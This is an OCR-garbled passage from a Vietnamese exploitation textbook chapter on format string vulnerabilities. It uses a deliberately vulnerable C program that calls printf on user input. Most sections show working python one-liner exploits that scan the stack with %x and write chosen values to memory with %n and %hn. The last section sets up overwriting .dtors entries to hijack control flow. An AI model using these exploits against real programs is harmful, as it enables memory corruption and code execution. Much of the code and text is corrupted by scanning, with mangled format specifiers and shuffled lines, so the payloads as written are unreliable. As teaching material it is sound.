1. Néu khong dugc chi ré', thi tham sé dude sit dung sé 14 tham sé ké. Vi du
bén duéi c6 hai yéu cau dinh dang 1a %c v %X. Tham s6 dau tien 1 0x87654321,
va tham s6 cho yéu cau dinh dang thit hai 14 0x12345678. Khi thyc thi, ching
ta sé nhan dugc dong chit ! 12345678.

int main ()

{
}

printf ("%c %X\n", 0x87654321, 0x12345678);

Gitta ky tu phan tram va ky tu dinh dang con c6 nhitng ty chon khac ma
chiing ta sé xem xét doc theo nhiing bai tap ctia phan nay.

4.2 Quét ngan xép

Chiing ta sé xem xét vi du Ngudn 4.1. Myc dich cia chuong trinh la nhan di
liéu nhap clia ngusi ding v xuét chudi da duge nhap ra man hinh. Tuy nhién,
sau khi nhan dit lieu, chuong trinh truyén thang chudi nay lam tham s6 thi
nhat ciia printf, thay vi truyén nhu cdc tham s6 cho chudi dinh dang.

Khi nhap vao abcdef, chuong trinh sé in ra chinh chudi abcdef.

regular@exploitation:~/src$ ./fmt
&cookie: Oxbffff854

abcdef

cookie = 00000000

abcdef

cookie = 00000000
regular@exploitation:~/src$

Tuy nhién, khi nhap vao %x, chuong trinh in ra két qua kha la 1am.

Lching ta sé néi vé viéc xac dinh tham s trong Tiéu muc 4.4.4
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#include <stdio.h>

int main(int argc, char sxargv)

{
char buffer [512];
int cookie = 0;
printf ("&cookie: %p\n", &cookie);
gets (buffer);
printf("cookie_=_%.8X\n", cookie);
printf(buffer);
printf("\ncookie_=_%.8X\n", cookie);
return 0;

Nguon 4.1: fmt.c

regular@exploitation:~/src$ ./fmt
&cookie: Oxbffff854

%hx

cookie = 00000000

0

cookie = 00000000
regular@exploitation:~/src$

Chuong trinh in ra 0. Thtt lai v6i chudi %x %x %x %x cho ta két qud nhu
bén dudi.

regular@exploitation:~/src$ ./fmt
&cookie: Oxbffff854

hx hx hx hx
cookie = 00000000
0006

cookie = 00000000
regular@exploitation:~/src$

Chudi nhan dugc 140 0 0 6.

Dimg doc va suy nghi

Vi sao chiing ta nhan dugc chudi sé d6?

Chiing ta nhap vao %x %x %x %x. Diéu nay sé lam chuong trinh thyc hién
lénh goi

printf (“Ux %x hx hx’7);

Lénh printf nay c6 bon yéu cau dinh dang %x nén né can st dung bém tham sb
nhung khong c6 tham sb ndo dugce truyén vao. Nhu vay printf sé lay gia tri
nao dé in ra man hinh?
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Hay xem xét trudng hop mot lénh printf tuong tu nhung véi day da tham
s6 sé dugc trinh bien dich chuyén sang hgp ngit nhu thé nao.

printf (“Ux %x %x WX, 1, 2, 3, 4);
Sé duge chuyén thanh cic dong tuong tu nhu sau:

PUSH 4
PUSH 3
PUSH 2
PUSH 1
PUSH buffer
CALL printf

So véi lenh thiéu tham s6:

PUSH buffer
CALL printf

St khéc biét 13 & bén 6 ngin xép chita gia tri xac dinh trong trudng hgp dau, va
sy thiéu hut bén 6 ngan xép nay & trudng hop sau. Tuy nhién, ham printf chi
c6 thé biét duge 4 yeu cau dinh dang khi da thuc thi, tic khi da ¢ trong than
ham. Do d6, printf khong thé biét trudce khi duge goi da c6 4 lenh PUSH thiét
lap ngan xép hay chwa. Cho nén khi gip céc yéu cau dinh dang c6 nhan tham
s6, printf chi don gidn thyc hién tac vu lay dit liéu & vi tri tuong tng trén ngin
xép va xit 1y ching theo yéu cau. Hinh Hinh 4.1 minh hoa céc 6 ngan xép phai
¢6 khi chudiinrala 0 0 0 6.

Chiing ta khong biét tai sao gia tri ciia cac 6 ngan xép 14 0, 0, 0, vi 6, nhung
chiing ta biét cac 6 ngan xép d6 phai c6 gia tri nhu vay. Day 14 mot tinh nang
ma 16i chudi dinh dang dem lai cho ngudi tan dung. Véi yéu cau dinh dang %x,
chiing ta c6 thé xac dinh duge gia tri cdc 6 nhé ngin xép.

4.3 Gap lai d@ liéu nhap

Néu ching ta tiép tuc quét ngan xép vdi cac yeu cau dinh dang %x, chiing ta sé
gdp truong hop sau:

regular@exploitation:~/src$ ./fmt

&cookie: Oxbffff854

wx hx hx hx hx hx hx hx hx Ax %Ax 4x

cookie = 00000000

0 0 0 6 b7ead8e0 fffff 51 0 O 25207825 78252078 20782520
cookie = 00000000

regular@exploitation:~/src$

Chudi 25207825 78252078 20782520 c6 vé diac biet. Khi du@clﬁéU(ﬁén
thanh cac 6 ngan xép nhu trong Hinh 4.2, ching ta c6 thé nhan ra ngay gia tri
25207825 chinh 13 bén ky tu %x %, bén ky tu bat dau chudi nhap. Khong chi
vay, bat dau tit tham s6 10, dit lisu ma ching ta nhan dudc lai chinh 13 chudi
ma ching ta da nhap vao.
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tham sbé 4
cham 88 3\‘ 06 00 00 00
T 00 00 00 00
3 —» 00 00 00 00
tham s6 2 00 00 00 00
/ dia chi chudi dinh dang
tham sé 1 dia chi tré vé cda printf

ebp ci

bién ndi bd
cla printf

Hinh 4.1: Tham s6 ciia yéu cau dinh dang

Ding doc va suy nghi

DPoc gia c6 thé giai thich tai sao khong?

Ching ta biét ring kha nang quét ngan xép 1a mot trong nhing diém ching
ta c6 thé 1gi dung trong 16i tran bo déem. Nhé lai rang bién buffer clia ching
ta cling dugce dit trong ngin xép. Va nhu da mo ta trong Hinh 2.12, viing nhé
ctia printf nam duéi viing nhé ctia main. Do d6, khi ta quét ngan xép tit dudi
len, dén mot lac nao dé ching ta sé gap lai bién buffer. Trong vi du nay, buffer
bat dau tit tham s6 10. Chiing ta sé can nhé vi tri nay vi né cho phép chiing
ta truyén tham sé vao céc yéu cau dinh dang. Vi du dé truyén sb 41414141 thi
chiing ta sé& nhap bén ky tu A 6 dau chudi, vi ddm bao ring yéu cau dinh dang
%x stt dung tham s thit 10.

4.4 Thay déi bién cookie

Yéu cau dinh dang %n ghi vao viing nhé dude chi t6i béi tham sé clia né sbé
luong k¥ tu da dugce in ra man hinh nén dé ghi mot dit lieu bat ky vio mot viing
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20 | 25 |78 | 20
78 | 20 | 25 | 78
—» 25 | 78 | 20 | 25
00 | 00 [ 00 | 00
00 | 00 [ 00 | 00
51 | 00 |00 | 00
FF | FF | OF | 00
EO | D8 | EA | B7
06 | 00 | 00 | 00
00 | 00 | 00 | 00
00 | 00 | 00 | 00
tham s6 1 —® 00 | 00 | 00 | 00

tham sb 10
"%x %"

Hinh 4.2: Gip lai dit lieu nhap

nhd ta sé& can hai yéu t6:
e Truyén dia chi clia viing nhé lam tham s6 cho %n.
e Kidm soat sb lugng ki tu duge in ra man hinh trude khi thye hién %n.

Vi chiing ta c¢6 thé truyén tham s6 cho %n nén yéu t6 thit nhat tré thanh xac
dinh dia chi clia viing nhé. Vi du nhu dé thay déi gia tri ctia bién cookie, chiing
ta phai biét dia chi ctia bién cookie. Chiing ta s& xem xét mot vai phuong phap
dé kiém soét yéu t6 thit hai.

4.4.1 Mang gia tri 0x64

Muc tiéu ctia chung ta la lam cho gia tri cookie tré thanh 64 sau khi thyc hién
lenh printf. Dé don gian hoéa viéc xac dinh dia chi bién cookie, Nguon 4.1 da in
dia chi d6 ra man hinh. Dia chi d6 14 BFFFF854.

Nhu vay, ching ta sé can dit bén ky tu ¢6 ma ASCII lan lugt 54, F8, FF,
va BF & dau chudi, chén thém chin yéu cau dinh dang c6 sit dung tham s6, mot
s6 lugng ky ty dé dam béo tong s6 ky tu da in 1a 100 (thap phan), va yéu cau
dinh dang thit musi sé 1a %n.

Trong nhitng thit nghiém truée, ching ta da xit dung hang loat yéu cau dinh
dang %x cho nén gia tri (va do d6 do dai) clia tong cic ky tu duge in ra bdi chin
%x ching ta c6 thé xac dinh duge (1+1+1+1+8+5+2+1+1=15). Nhu
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vay, chudi déem (ngoai 4 ky tu dau chudi xac dinh dia chi bién cookie, va 15 ky
tu ctia chin %x) sé dai 64 — 15 — 4 = 4B hay 75 (thap phan) ky tu.

regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF/x/x/x/hxhxhxhxhxhx
n + Ilall*75 + II%nlI) I ./fmt

&cookie: Oxbffff854

cookie = 00000000
TH#####06b7ead8e0fffff5100aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa

cookie = 00000064

regular@exploitation:~/src$

4.4.2 Mang gia tri 0x100

Dé cookie mang gié tri 100, viec duy nhat ching ta can lam 1a thém vio phan
dem mot lugng ky tu 100 — 64 = 9C.

regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF/x/x/x/xhxhxhxhxhx
"+ "a'"x(0x4B+0x9C) + "%n"’> | ./fmt

&cookie: Oxbffff854

cookie = 00000000
TH#####06b7ead8e0fffff5100aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaa

cookie = 00000100

regular@exploitation:~/src$

4.4.3 Mang gia tri 0x300

Dé cookie mang gi4 tri 300, viéc duy nhat chiing ta can lam 13 thém vao phan
dem mot lugng ky tw 300 — 64 — 29C.

regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF/,x/x/x/%xhxhxhxhxhx
"+ "a"x(0x4B+0x29C) + "n"’ | ./fmt

&cookie: Oxbffff854

cookie = 00000000
TH#####06b7ead8e0fffff5100aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

cookie = 00000300

Segmentation fault

regular@exploitation:~/src$

Mic dut dat duge gia tri nhu mong mudén, nhung ta cling vuéng phai 16i phan
doan.



80 CHUONG 4. CHUOI DINH DANG

Ding doc va suy nghi

Tai sao ching ta lai mic phai 16i phan doan?

Chiing ta ding 4 ky tu dau, 9 cip ky tu %x ké, 2E7 ky tu dém va 2 ky tu %n
dé nhap vao chuong trinh. Téng cong chiing ta sit dung 4 +9%*2+2E7+2 = 2FF
ky tu. S6 ky tu nay duge chép thing vao bién buffer. Vi bién buffer chi dugc
cip 512 thap phan (200 thap luc phan) ky tu nén ching ta da lam tran bién
buffer, khién ham main tréd vé mot dia chi khong dudc anh xa, ddn dén 16i phan
doan.

D@ tranh 16i phan doan, ching ta phai nhap vao it hon, nhung van dam béo
printf in ra cting s6 lugng ky tu.

Mot trong nhitng tity chon & gitta ky tu phan tram va ky ty dinh dang 1a
do dai t6i thidu ctia dit lieu dugc printf in ra. Ty chon nay la mot chudi cac
chit s6 thap phan bat dau bing mot s6 khac 0. Vi dy, dé in mot s6 nguyeén theo
dang thap luc phan v6i do dai 12 thi ta st dung lénh

printf (¢%418X’’, 0x12345678);
Lénh nay sé in ra man hinh chudi L uou0u00012345678. Tuy nhién, véi lénh
printf (“%2X’, 0x12345678) ;

chiing ta sé nhan dugc 12345678. Do d6, do dai nay chi 1a do dai t6i thidu. Néu
dit liéu can in ra dai hon do dai duge chi dinh thi toan bo di lieu vAn dudce in
ra ma khong bi cat di. D& dam bao ching ta kiém soat duge do dai chudi in ra,
t6t nhat chiing ta ¢ gid st dif liu sé c6 do dai t6i da. Vi du néu st dung %x thi
do dai tbi da 1a 8, nén ching ta phai xéc dinh do dai chudi in ra téi thiéu la 8.

Gio day, dé viét 300 vao cookie, ta sé diing 4 byte dau xac dinh dia chi
cookie, ké t6i 8 yeu cau dinh dang %8x, yéu cau thit 9 sé dudc xac dinh do dai
14 300 — 4 — 8 x 8 = 2BC (700 thap phan), hay %700x, va yéu cau %n & cudi.
Chiing ta chi st dung tdng cong 4 + 8 % 3 + 5 + 2 = 23 ky tu dé dat dudc muc
dich, thay cho 2FF ky ty nhu G trén.

regular@exploitation:~/src$ python -c ’print "\xb54\xF8\xFF\xBF" + "I8x" * 8 + "%
700x" + "Yn"’ | ./fmt

&cookie: Oxbffff854

cookie = 00000000

TH##### 0 0 0 6b7ead8e0 fffff 51 0

cookie = 00000300
regular@exploitation:~/src$
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4.4.4 Mang gia tri 0x300, chi st dung mot %x va mot %n

Néu da kiém soat duge s6 lugng ky tur duge in ra man hinh thi that ra ching
ta cling chi cAn mot yéu cau dinh dang %x 13 di. Vuéng mic duy nhéit 1a ching
ta phai ddm bao %n van st dung tham s thi 10, thay vi tham s6 theo sau %x
dé (tic tham s6 thit 2).

May m#n thay mot trong céc tity chon clia yéu cau dinh dang 1a vi tri tham
6. Vi tri tham s6 1a mot chudi sd6 nguyen duong tan cing béi dau dong ($).
Tty chon nay phai di theo ngay sau dau phan tram bat dau yéu cau dinh dang.

Vi du khi nhap AAAA%10$x thi ching ta sé nhan dugc chudi AAAA41414141.

regular@exploitation:~/src$ ./fmt
&cookie: Oxbffff854

AAAAY10$x

cookie = 00000000

AAAA41414141

cookie = 00000000
regular@exploitation:~/src$

Viéc gan 300 viao cookie bay gid c¢6 thé duge don gian héa nhu trong hinh
chup. Ching ta sé van can 4 byte xac dinh vi tri bién cookie, sau dé ta ding do
dai 300 — 4 = 2FC hay 764 cho yéu cau x, va két thic véi yéu cau n st dung
tham s6 thit 10.

regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF" + "%764x" + "%10
$n"> | ./fmt

&cookie: Oxbffff854

cookie = 00000000

TH#H####

cookie = 00000300
regular@exploitation:~/src$

4.4.5 Mang gia tri 0x87654321

Dé cookie mang gia tri 87654321, chiing ta chi can stta do dai ctia dinh dang x
thanh 87654321 — 4 = 8765431D hay 2271560477 thap phan.

regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF" + "},2271560477x"
+ "%108n"’ | ./fmt
&cookie: Oxbffff854
cookie = 00000000
THH##H#
cookie = 00000005
regular@exploitation:~/src$
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Mubn dat | 21 | 43 | 65 | 87
Da c6 1021|4365
Can them | 11 | 22 | 22 | 22

Bang 4.1: Tinh sb lugng ky ty dém

C6 vé nhu printf khong hoat dong theo ¥ chiing ta mudn. Ly do rat c6 thé
vi do dai qua 16n nén da bi bo qua.

Ngay ca trong trudsng hgp do dai nay dude chap nhan, chiing ta ciing sé phai
chd dgi mot khoang thoi gian kha lau dé printf in hét tat ca trén hai ty ky tu!
Do d6 chiing ta sé can nghi ra mot cach khac.

Diing doc va suy nghi

Ching ta c6 thé ding cach gi day?

Dé cookie c6 gia tri 87654321, bén byte bt dau tit vi tri BEFFF854 phai
c6 gia tri lan lugt 1a 21, 43, 65, 87. Do d6 thay vi ghi mot 1an mot gia tri 16n,
chiing ta c6 thé chia ra lam bén lan ghi v6i bén gia tri nho.

V6i mdi 1an ghi, chiing ta sé can ba thong tin:

e Dia chi ghi vao
e Vi tri tham sd truyén vao yéu cau dinh dang
e Gi4 tri mudn ghi

V6i bén lan ghi, ching ta sé can bén dia chi dé ghi vao. Vi ching ta ghi tiing
byte tit thAp t6i cao nén dia chi ciia bén 1an ghi nay sé 1an lugt 13 BFFFF854,
BFFFF855, BFFFF856, va BFFFF857.

Bén dia chi nay c6 thé duge dit 6 dau chudi theo thd tu dé nén céc tham
s6 truyén vao yéu cau dinh dang sé lan lugt 13 10, 11, 12, 13.

Gia tri mudn ghi ctia méi lan ghi sé 1a 21, 43, 65, va 87. Dé in 21 ky tu ra
man hinh, ngoai trit 16 ky tu xac dinh 4 dia chi da néu, ching ta sé can in thém
11 ky tu nita. D& in 43 ky tu ra man hinh, ngoai 21 ky tuy vita dugc in, ching
ta con can thém 22 ky tu nita v.v... Viéc tinh toan sé lugng ky ty dém trude
mdi lan ghi dude tém tét trong Bang 4.1.

Dong lénh tan dung ctia ching ta sé tuong tu nhu trong hinh chup sau.

regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF\x55\xF8\xFF\xBF\x
56\xF8\xFF\xBF\x57\xF8\xFF\xBF" + "%" + str(0x11) + "x%10$n" + "%" + str(0x22) +
"x%11$n" + "%4" + str(0x22) + "x%12%n" + "J" + str(0x22) + "x%13%n"’ | ./fmt
&cookie: Oxbffff854
cookie = 00000000
THH##BHFHVEHHHERH 0 0
0 6
cookie = 87654321
regular@exploitation:~/src$
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4.4.6 Mang gia tri 0x12345678

Dé cookie mang gia tri 12345678 thi bon byte bt dau tit vi tri clia cookie sé
phai 1an lugt mang gia tri 78, 56, 34, 12. Ap dung cach tinh s6 luong ky tu dem
nhu trén khién chiing ta vuéng phai gia tri am (vi du nhu 56 — 78).

Diing doc va suy nghi

Ching ta c6 thé ghi vao dia chi cao truée khi ghi vao dia chi thap khong?

Dirng doc va suy nghi

Can in thém bao nhiéu ky tu khi da in duge 78 ky tu dé dat dugc mot byte 56
khi ghi?

Ching ta khong c¢6 cach dé gidm sb lugng ky tu da in. Tuy nhién, vi ching
ta chi quan tam t6i mot byte cudi nén 69, hay 169, hay 269, hay 33369 ciing
déu dem lai cting mot gia tri byte cudi 69. Cac byte du ra sé bi lan ghi ké tiép
de 1ap mat, hosic don gidn 13 ndm ngoai ving bén byte clia bién cookie ta dang
quan tam. Ciing chinh vi Iy do bi de 1ap nay nén ching ta khong thé khi theo
thit tr tit cao xubéng thap vi lan ghi thit hai sé pha héng gia tri da duge ghi &
lan ghi thit nhét, v tuong ti ciing sé bi lan ghi thit ba pha héng.

Dura viio nhan xét vé st quay vong ciia byte cudi nay, ching ta sé thyc hién
bén 1an ghi véi cac gia tri lan lugt 13 78, 156, 234, va 312. Céac gia tri nay dam
bao khi 1ay hieu clia s6 sau va s6 trudc sé cho két qua khong am. Hinh 4.3 miéu
ta ti mi sy thay déi cia bo nhé lan lugt qua bén lan ghi va cac byte bi lem. Cau
lenh tan dung 16i clia ching ta sé tuong ty nhu hinh chup sau.

regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF\x55\xF8\xFF\xBF\x
56\xF8\xFF\xBF\x57\xF8\xFF\xBF" + "%" + str(0x78-16) + "xJ10$n" + "%" + str(0x15
6-0x78) + "x%11$n" + "¥" + str(0x234-0x156) + "x%12$n" + "%4" + str(0x312-0x234)
+ "x%13%n"’ | ./fmt

&cookie: Oxbffff854

cookie = 00000000

THH#HHHJVEHHERHH

cookie = 12345678
regular@exploitation:~/src$
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I  bi thay dbi
BFFFF854 BFFFF857 B cic byte lem

\ / XX khéng xac dinh

Lan 1.
Lan 2|.
Lan 3.
Lan 4.

Hinh 4.3: Cac lan ghi

Ghi timg byte nhu chiing ta thitc hién chi 13 mot trong nhiing céch cit gia
tri can ghi thanh nhitng phan ti nhé hon. Hinh 4.4 thé hién mot vai cach cit
khac.

2-2 1a cach cit tot nhat vi vita st dung it 1an ghi nhat va dam bo khong bi lem
khi st dung véi hai dinh dang hn. Hinh 4.5a biéu dién céch hoat dong ciia
dong lénh python -c ’print "\x54\xF8\xFF\xBF\x56\xF8\xFF\xBF" +
"%" + str(0x5678 - 8) + "x%10$hn" + "¥%" + str(0x11234 - 0x5678)
+ "x%11$hn"’ | ./fmt.

1-1-2 ¢6 thé dugc sit dung véi n-n-hn néu chap nhan bi lem 1 byte, hay n-hn—
hn dé tranh bi lem. Hinh 4.5b miéu t4 cach hoat dong ctia dong lénh python

-c ’print "\x54\xF8\xFF\xBF\x55\xF8\xFF\xBF" + "\x56\xF8\xFF\xBF"

+ "4+ str(0x78 - 12) + "x%10$n" + "Y" + str(0x156 - 0x78) +
"x%11$hn" + "%" + str(0x1234 - 0x156) + "x%12%$hn"’ | ./fmt.

1-1-1-1 la kiéu cit co ban nhat da duge ching ta trinh bay & day. Kiéu cit nay
sé bi lem it nhat 1 byte, va nhiéu nhit 1a 3 byte tity theo sy phdi hop ciia
dinh dang n va hn.

4.4.7 Mang gia tri 0x04030201

D@ cookie mang gia tri 04030201 thi bén byte bat dau tit vi tri bién cookie sé
phai c6 gia tri 01, 02, 03, 04. Ching ta sé& st dung cach cit 1-1-1-1 do d6 bdén
gia tri can ghi sé 1a 101, 102 103, 104. Ban doc thdy ring chi gia tri dau tien
nhoé hon 16 (thap phan) ky tu x4c dinh 4 dia chi nén méi duge chuyén thanh
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BFFFF854 BFFFF857

Lan 1
Lan
(a) Cat 2-2 véi hn
BFFFF854 BFFFF857
Lan 1
Lan 2
Lan

(b) C&t 1-2-2 v6i n-hn-hn

Hinh 4.5: Cac cach cit
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101. Céc gia tri khac chi don gian 1a cong don vao gia tri truée né dé dam bao
byte cudi phit hop véi gia tri mong mudn.
Dong lénh tan dung ctia chung ta tuong ty nhu hinh chup dudi.

regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF\x55\xF8\xFF\xBF\x
56\xF8\xFF\xBF\x57\xF8\xFF\xBF" + "%" + str(0x101-16) + "x%10$n" + "%" + str(0x1
02-0x101) + "x%11$n" + "%" + str(0x103-0x102) + "x%12$n" + "%" + str(0x104-0x103
) + "x%13$n"’ | ./fmt

&cookie: Oxbffff854

cookie = 00000000

THERHHHH VIS H#

0006
cookie = 04030201
regular@exploitation:~/src$

Néu ban doc dong ¥ véi dong lénh tan dung trén thi ban da quén méat nhiing
gi ching ta ban dén trong Tiéu muc 4.4.3. Dé ddm bio do dai cia chudi ludn
luon chinh xac, moi xac dinh do dai trong yéu cau dinh dang phai it nhat co
gié tri 1a do dai toi da ctia kiéu dit lieu duge in. Trong vi du nay, %x sé in tdi da
8 ky ty do d6 chung ta chi nén dimg %x vé6i xac dinh do dai 16n hon hodc bing
8. Vi 102 — 101 = 1 va ciing nhu 103 — 102 = 1, 104 — 103 = 1 nhd hon 8 nén
chiing ta sé thay thé cum %x v6i mot ky tu bat ky.

regular@exploitation:~/src$ python -c ’print "\x54\xF8\xFF\xBF\x55\xF8\xFF\xBF\x
56\xF8\xFF\xBF\x57\xF8\xFF\xBF" + "}%" + str(0x101-16) + "x/10$n" + "a%11$n" + "a
%12$n" + "a%13$n"’ | ./fmt

&cookie: Oxbffff854

cookie = 00000000

THERHHFH VIS HH#

Oaaa
cookie = 04030201
regular@exploitation:~/src$

4.4.8 Lap lai v6i chudi nhap bat dau bang BLUE MOON

Chiing ta sé 1ap lai vi du trén véi yéu cau chudi nhap vao duge bat dau bang 9
ky ty BLUE_MOON. Khi chudi nhap vao bit dau v6i 9 ky tu nay, trang thai ngin
xép clia chiing ta s& nhu trong Hinh 4.6.

Vi tham s6 th 10, 11, vi 12 da bi chudi BLUE MOON chiém mat nén chiing
ta chi c6 thé bat dau st dung tit tham s6 13. Do dé, cac tham sb 10, 11, 12,
13 & vi du trudc sé can déi thanh 13, 14, 15, 16. Hon nita, chudi BLUE MOON chi
chiém 1 byte clia tham s6 12 nén ching ta ciing can thém 3 ky tu bat ky dé
lap chd trong nay. Cubi cuing, vi dd in dugce them C (9 + 3) byte nén cong thiic
tinh toan s lugng can dudc diéu chinh theo. Tém lai, chudi tan dung ctia chiing
ta sé gom 9 ky tut BLUE MOON nhu yéu cau, 3 ky tu bat ky dé 1lap tham sb 12,
theo sau bdi 16 ky tu xac dinh 4 dia chi, theo sau béi dinh dang x véi do dai
101 — C — 10, rdi dinh dang n véi tham s6 13, mot ky tu bat ky, dinh dang n
v6i tham s6 14, va tuong ti véi tham sb 15, 16.
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tham s6 12 — pf 4 | xx | XX | XX

20 | 4D | 4F | 4F

tham s6 10 — 42 | ac | 55 | 45
IIBLUE"

Hinh 4.6: Véi chudi BLUE MOON & truéc

regular@exploitation:~/src$ python -c ’print "BLUE MOON  \x54\xF8\xFF\xBF\x55\x
F8\xFF\xBF\x56\xF8\xFF\xBF\x57\xF8\xFF\xBF" + "/" + str(0x101-12-16) + "x%13$n"
+ "a}%14$n" + "a),15$n" + "al16$n"’ | ./fmt

&cookie: Oxbffff854

cookie = 00000000

BLUE MOON THEHHHHHVEHHHHHH

Oaaa
cookie = 04030201
regular@exploitation:~/src$

4.4.9 Mang gia tri 0x69696969

Trai qua cac vi du trude, cé 16 doc gia da cé thé tuy thyc hien duge viec ghi gia
tri bat ky vao bién cookie. Muc nay c6 thé dude xem nhu mot bai tap nhé danh
cho ban doc. Hay thuc hién viéc ghi gid tri 69696969 vao bién cookie va so saénh
lenh tan dung 16i ctia ban véi lenh dude ggi ¥ & chan trang?.

Dirng doc va suy nghi

Sau khi so sanh, doc gia c¢6 hiéu cach hoat dong ctia lenh duge goi ¥ khong?

4.5 Phan doan .dtors

Qua cac vi du thiét lap gia tri bién cookie da trinh bay, ching ta nhan ra ring
ngoai viec quét ngin xép, ching ta con cé thé viét mot gia tri bat ky vio mot
ving nhé bat ky thong qua 18i chudi dinh dang. Cau héi dude dat ra sé 1 kha
ning nay giip duge gi cho viéc tan dung 161.

2python -c ’print "\x54\xF8\xFF\xBF\x56\xF8\xFF\xBF" + "%" + str(0x6969-8) +
"x%10$n%11$n"’ | ./fmt
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#include <stdio.h>
static void destructor(void) _ attribute  ((destructor));

void destructor (void)

{
}

static void easter egg(void)

{
}

int main(int argc, char sxargv)

{

return;

puts ("You_win!");

char buf[512];

fgets (buf, sizeof(buf), stdin);
printf(buf);

printf ("Good_bye!\n");

return 0;

Nguon 4.2: dtors.c

Tuong tit nhu da khao sat trong Chuong 3, chiing ta cé thé sit dung 16i chudi
dinh dang dé thay déi gia tri mot bién quan trong trong chuong trinh, hosic thay
ddi dia chi tré vé clia mot ham. Ngoai nhitng con dudng tan dung dé ra, ching
ta con ¢6 nhitng diém tan dung khac 14 danh sach cac ham hiiy (destructor) va
bang dia chi ham dudc lién két.

Hiy ciing xem xét vi du tai Ngudn 4.2.

Ham hty 13 mot ham khong nhan déi s6, khong cé gia tri tra vé, va dude
khai bao trong GCC v6i __attribute__((destructor)). Ham hty luon luon
dudc bo nap clia hé théng goi khi chuong trinh két thiic, cho dut d6 1a két thic
thong thuong, két thic qua ham erit, hay vi xay ra 16i.

Danh sach cac ham hiy clia mot chuong trinh duge luu trong phan doan
.dtors clia chuong trinh d6. Danh sich nay bat dau bing ky hiéu nhan dang
FFFFFFFF va két thic vai gia tri 00000000. Mdi phan ti clia danh sich la
dia chi cia mot ham hiy. Khi chuong trinh két thic, bo nap sé doc danh sach
ndy va lan lugt goi cdc ham hiy trong danh sach cho dén khi két thiic. Cho dut
chuong trinh c6 hay khong c6 ham hiiy, danh sich nay van ludén ton tai trong
chuong trinh.

Dé xem danh séch cdc ham hily clia mot chuong trinh, ching ta st dung
cong cu objdump nhu trong hinh chup.
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regular@exploitation:~/src$ objdump -S -j .dtors dtors
dtors: file format elf32-i386
Disassembly of section .dtors:

08049694 <__DTOR_LIST__>:
8049694 : ff £ff ff ff dO 84 0408 L.

0804969c <__DTOR_END__>:
804969c: 00 00 00 00
regular@exploitation:~/src$

Tai dia chi 08049694 1a ky hiéu bat dau clia danh sach ham hiy. Bén byte
ké tiép 1a dia chi clia mot ham hity. Ham nay nim tai 080484D0. Bén byte sau
cling tai dia chi 0804969C 1a dau hicu két thic danh sach ham hiy.

Nhu vay, néu nhu ta thay déi dia chi ctia ham hiy trong danh sach nay bing
dia chi ctia méa lénh clia ching ta thi khi chuong trinh két thiic, chinh mé lénh
ctia ching ta sé duge thuc thi. Trong truong hgp chuong trinh khong c6 ham
hity thi chiing ta ciing c6 thé thay déi dau hiéu két thic danh sach bing dia chi
maé lénh clia ching ta. D6i véi vi du nay, ching ta c6 hai dia chi dé ghi de la
08049698 va 0804969C.

Mot trong ba vin dé quan trong trong viéc tan dung 18i chudi dinh dang da
dudc gidi quyét. Ké dén chiing ta phai tra 15i duge cau héi lam sao truyén tham
s6 vao chudi dinh dang. Dé lam viéc nay, ching ta sé xem xem khi nao thi printf
gap lai chudi nhap tuong ty nhu trong Muc 4.3.

regular@exploitation:~/src$ ./dtors
AAAA Ux %x hx hx hx hx

AAAA 200 b7£db300 51 0 0 41414141
Good bye!
regular@exploitation:~/src$

Nhu vay ching ta c6 thé bit dau truyén tham sb cho céc yéu cau dinh dang
tit vi trf 6 6. Chi con lai mot an s6 1a gia tri ma ching ta muén ghi vao dia
chi 08049698. Chiing ta c6 thé dit ma lenh trong mot bién moi truong, va si
dung dia chi ciia bién moi trusng nay. Nhung dé tranh dé cap dén viéc tir tao
ma lénh, vi du clia chiing ta da c6 s&n nhitng dong lénh theo ding muc dich &
ham easter egg. Ching ta c6 thé sit dung dia chi ciia ham nay.

D@ tim dia chi ham easter egg, chiing ta sé ding objdump hosc GDB.

regular@exploitation:~/src$ objdump -d dtors | grep easter_egg
080484e0 <easter_egg>:
regular@exploitation:~/src$

